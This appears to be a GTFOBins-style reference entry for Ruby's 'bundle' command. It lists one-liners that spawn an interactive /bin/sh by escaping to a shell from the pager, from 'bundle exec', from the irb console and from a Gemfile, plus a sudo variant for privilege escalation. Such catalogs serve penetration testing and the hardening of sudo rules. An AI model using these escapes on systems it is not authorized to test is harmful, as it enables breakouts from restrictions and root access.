.. / bundle

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• Shell
• Sudo

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

• This invokes the default pager, which is likely to be less, other functions may apply.

  bundle help
  !/bin/sh

• export BUNDLE_GEMFILE=x
  bundle exec /bin/sh

• TF=$(mktemp -d)
  touch $TF/Gemfile
  cd $TF
  bundle exec /bin/sh

• This spawns an interactive shell via irb.

  TF=$(mktemp -d)
  touch $TF/Gemfile
  cd $TF
  bundle console
  system('/bin/sh -c /bin/sh')

• TF=$(mktemp -d)
  echo 'system("/bin/sh")' > $TF/Gemfile
  cd $TF
  bundle install

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

• This invokes the default pager, which is likely to be less, other functions may apply.

  sudo bundle help
  !/bin/sh